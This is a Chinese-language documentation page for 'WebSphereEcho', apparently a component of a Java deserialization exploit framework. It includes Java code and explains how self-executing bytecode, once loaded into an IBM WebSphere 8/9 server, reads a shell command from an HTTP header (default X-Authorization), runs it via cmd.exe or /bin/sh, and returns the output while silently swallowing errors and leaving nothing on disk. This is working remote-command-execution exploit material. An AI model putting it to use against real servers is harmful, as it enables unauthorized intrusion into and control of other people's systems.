- 类别:bytecode 别名:— 优先级:—
- 作者:ReaJason
- 依赖:无(生成字节码仅依赖目标 WebSphere 运行时自身的类)
生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数从当前线程的 wsThreadLocals 数组中找到 WebSphere 的 WebContainerRequestState,取出扩展请求/响应,读取指定请求头中的命令、执行并写回,实现 IBM WebSphere 的明文命令回显。是链尾 sink(END)。
- 入口
tags:Bytecode(产出原始字节码)、Echo(回显 sink)、END(链终点)。 - 衔接
nextTags:空 —— 终点构件。 excludes:无。
gadget 本体与同族一致,改写模板静态字段后返回字节:
@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(WebSphereEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header);
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END
return this.getObject();
}回显核心在模板构造函数(static { new WebSphereEchoBytecode(); } 触发):
// WebSphereEchoBytecode.java(关键片段)
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); // WAS 处理线程的专有 ThreadLocal 数组
for (Object wsThreadLocal : wsThreadLocals) {
if (wsThreadLocal == null
|| !wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) continue;
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
if (data == null || data.isEmpty()) break;
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(this.run(data));
writer.flush(); writer.close();
return;
}run(data) 与同族一致:按 os.name 拼 cmd.exe /c 或 /bin/sh -c,ProcessBuilder(...).redirectErrorStream(true).start() 执行,Scanner("\\A") 收全部输出写回。WebSphere 专属要点:
- 定位请求靠
Thread.wsThreadLocals:WAS 不使用标准ThreadLocalMap,而是在处理线程上挂一个名为wsThreadLocals的对象数组,模板遍历该数组、以类名endsWith("WebContainerRequestState")命中请求状态对象,再取其currentThreadsIExtendedRequest/currentThreadsIExtendedResponse字段拿到扩展请求响应。这一路径与 Tomcat 系(Poller 线程)、Undertow(threadLocals.table)、WebLogic(workEntry)均不同,是 WebSphere 专用。 - 命令载体是请求头:命令写在
header(默认X-Authorization)头,触发一次请求即回显,不落地、无内存马。 - 全程
try/catch(Throwable)静默吞异常,加载失败不影响链上其它逻辑。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 承载待执行命令的 HTTP 请求头名 | X-Authorization |
任意合法头名 |
- description 明确:暂未适配 WAS7,已适配 WAS8/9。
wsThreadLocals与WebContainerRequestState的字段布局对应 WebSphere 8/9 实现,WAS7 结构不同故未支持。 - 明文回显,一次请求一次结果,不落地。生效前提:字节码被目标端加载并实例化(一般经
TemplatesImpl),触发请求带对的header头,且在 WAS 请求处理线程内执行(线程上确有wsThreadLocals)。
自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链的 sink 由 Exec 替换为 WebSphereEcho,对 WebSphere 8/9 目标带回显执行。
- 上游(消费
Bytecode):BytecodeConvert 及其它字节码装载器。 - 同族 Echo sink:TongWebEcho、UndertowEcho、WebLogicEcho、TomcatEcho。
- 可替代:Exec。